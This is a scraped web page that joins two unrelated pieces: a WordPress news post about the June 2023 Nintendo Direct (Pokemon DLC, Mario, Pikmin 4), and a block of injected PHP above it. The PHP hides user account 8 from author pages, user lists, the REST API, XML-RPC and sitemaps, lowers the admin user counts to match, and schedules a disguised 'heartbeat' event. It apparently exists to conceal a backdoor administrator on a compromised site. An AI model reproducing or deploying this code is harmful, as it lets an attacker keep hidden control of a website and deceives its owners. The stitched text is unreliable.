add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 8;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 8;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 8;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Nintendo Direct June 2023 Reveals Mario, Pikmin, and More appeared first on G33K-HQ.
]]>New downloadable content for Pokemon Scarlet and Violet has been available for pre-order for a while now, but this Nintendo Direct revealed a new look at the upcoming stories: “The Teal Mask” and “The Indigo Disk.”
In “The Teal Mask,” players will travel to Kitakami, where the Festival of Masks is underway. The storyline brings several Pokemon back into the game, while introducing a handful of new ones: Munkidori, Okidogi, and Fezandipiti, who were said to have “protected this land from the evil ogre.” Savvy viewers will recognize this as a parallel to the story of Momotaro, with the three Pokemon based on Momotaro’s companions. The video also gives us a closer look at said ogre, a new Pokemon called Ogerpon.
“The Indigo Disk” takes the players to Blueberry Academy, a Pokemon academy floating out at sea. Beneath the academy itself is a massive terrarium park, filled with different biomes and Pokemon previously unavailable in the game. It also reintroduces double battles to the game, and provides a closer look at the legendary Pokemon, Terapagos.
Pokemon Scarlet and Violet players can also receive a handful of items with the Mystery Gift code TREASUREHUNT, and a new Gimmighoul tera raid event has begun.
While the original Detective Pikachu game was a mostly forgotten side game, it returned to the forefront of popularity with the live action movie, starring Ryan Reynolds as Pikachu and Justice Smith as Tim Goodman. Now, Detective Pikachu is returning with a Nintendo Switch game: Detective Pikachu Returns.
Speaking of successful live action video game movies, Sonic the Hedgehog is also getting a new game: Sonic Superstars. This is a classic side-scroller featuring popular Sonic characters, including the blue blur himself, Tails, Knuckles, and Amy Rose.
Sonic Superstars also introduces local co-op, allowing up to four players to work together as they dash through levels.
Of course, the franchise news doesn’t stop there. Mario fans got no shortage of news from the announcement, featuring the reveal of Super Mario Bros Wonder, a new 2D Mario game coming this October. This new game features classic Super Mario gameplay with upgraded graphics, as well as new enemies and power-ups, such as an elephant suit for Mario, and a new “Wonder Seed” and “Wonder Flowers” items. The game can be played with a variety of characters (not just Mario and Luigi), and features multiplayer capabilities.
Additionally, the classic Super Mario RPG is getting a remake for the Nintendo Switch. This classic role-playing game has been a favorite of many Mario fans, and will be returning with new graphics on November 17, 2023.
Mario’s brother, Luigi, wasn’t left out either. Luigi is also getting a remake with a remastered version of Luigi’s Mansion: Dark Moon, originally released on the 3DS. This game will be coming to the Nintendo Switch in 2024, along with a new game featuring Princess Peach.
And Mario’s longtime rival, Wario, is also getting a new WarioWare game. WarioWare: Move It! will be coming to the Nintendo Switch in November, featuring over 200 microgames that can be enjoyed by up to four players at once.
Last but not least, Mario Kart 8 continues to get new support, with the release of the Booster Course Pass Wave 5. This new DLC, available this summer, brings in a new course (Squeaky Clean Spring), and three new characters: Petey Piranha, Wiggler, and Kamek.
Nintendo also revealed new information about Pikmin 4, the latest addition to the Pikmin series. This game, due to be released July 21st, includes a Dandori Battle mini-game, as well as a new dog companion named Oatchi, and the ability to set off on night expeditions.
A demo of Pikmin 4 will be available on June 28th. Additionally, HD versions of PIkmin 1 and 2 will be available on the Nintendo Switch eShop today, and can be purchased individually or as a bundle. Physical versions of the games will also be released in September.
That’s just the start of the announcements from Nintendo Direct. Other news includes:
You can watch the full Nintendo Direct below:
What news has you most excited? Are you ready for more Mario, or exited to play Gloomhaven on the Switch? Let us know in the comments, and keep an eye out for more news on G33k-HQ.
The post Nintendo Direct June 2023 Reveals Mario, Pikmin, and More appeared first on G33K-HQ.
]]>